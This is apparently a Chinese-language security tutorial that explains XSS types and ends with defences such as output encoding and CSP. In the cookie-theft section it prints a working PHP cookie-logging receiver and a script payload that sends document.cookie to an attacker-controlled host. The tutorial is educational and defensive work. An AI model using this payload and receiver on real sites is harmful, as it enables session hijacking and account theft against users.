xss篇-本着就了解安全本质的想法，尽可能的用通俗易懂的语言去解释安全漏洞问题

  前言 最早接触安全也是从xss攻击和sql注入攻击开始的。

0x01    跨站脚本攻击漏洞(XSS),是客户端脚本安全中的头号大敌，owasp top10 屡居榜首，由于攻击手法较多，开发者水平不一，危害性又往往被人忽视，这就造成了xss普遍的存在。

0x02    xss漏洞本质还是注入攻击的一种，为什么叫跨站脚本攻击，跨站就是不同站之间，脚本攻击呢这里的脚本其实是js脚本，所以只要是js能干的事情，xss攻击也就能干，危害主要是会话劫持，钓鱼攻击，获取用户浏览器信息，网页蠕虫，甚至是命令执行（如果是有特权域的xss）等。

0x03    xss根据效果的不同分为以下三类：

1. 反射型XSS  这种xss只是简单地把用户输入的数据“反射”给浏览器，也就是说，黑客往往需要诱使用户点击一个恶意链接，才能攻击成功
2. 存储型XSS  这个xss会把用户输入的数据“存储”在服务器端（一般是数据库），相对于非持久性的反射型的xss，这种xss具有很强的隐蔽性，影响也更严重。
3. Dom型XSS tsrc的这篇文章比较好的介绍了基于dom类型的xss。https://security.tencent.com/index.php/blog/msg/107

0x04 利用xss盗取cookie

　　利用xss盗取cookie是常见的一种攻击手法，现在也有一些xss的平台可以使用，也可以自己搭建相关的平台，或者利用BeEF框架进行利用，笔者就通过简短代码来阐述下其中的原理。

首先在自己的vps上如下php代码（用来接收cookie）

<?php
$cookie = @$_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$time=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$time. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>

然后在存在xss的地方放入自己的payload。

<script>document.write('<img src="http://ip/getcookie.php?c='+document.cookie+'" width=0 height=0 border=0 />');</script>

这样就get到cookie了。

0x05   防御：

     防御思想：输入检查，输出编码

     基于mvc的开发框架中，在view层常用的技术是使用模板引擎对页面做渲染，比如在thinkphp3.2版本中就默认使用了smarty引擎，模板引擎本身会提供一些编码方法，能够很好的防护xss攻击。

     此外各大浏览器也针对xss攻击推出了一些安全措施，比如IE推出的xss Filter功能，Firefox和chrome推出的CSP(Content Security Policy)，均起到了一定的防护作用，但是由于xss攻击手法的多样化，还是会被一些xsser给绕过（例如http://wiki.ioin.in/search?word=CSP），这些防护策略也在不断的更新，安全性也会越来越好。

    安全开发培训，定期组织安全开发内部培训和技术交流，比如CSP策略的配置，树立安全开发意识和规范，使程序员写出安全的代码。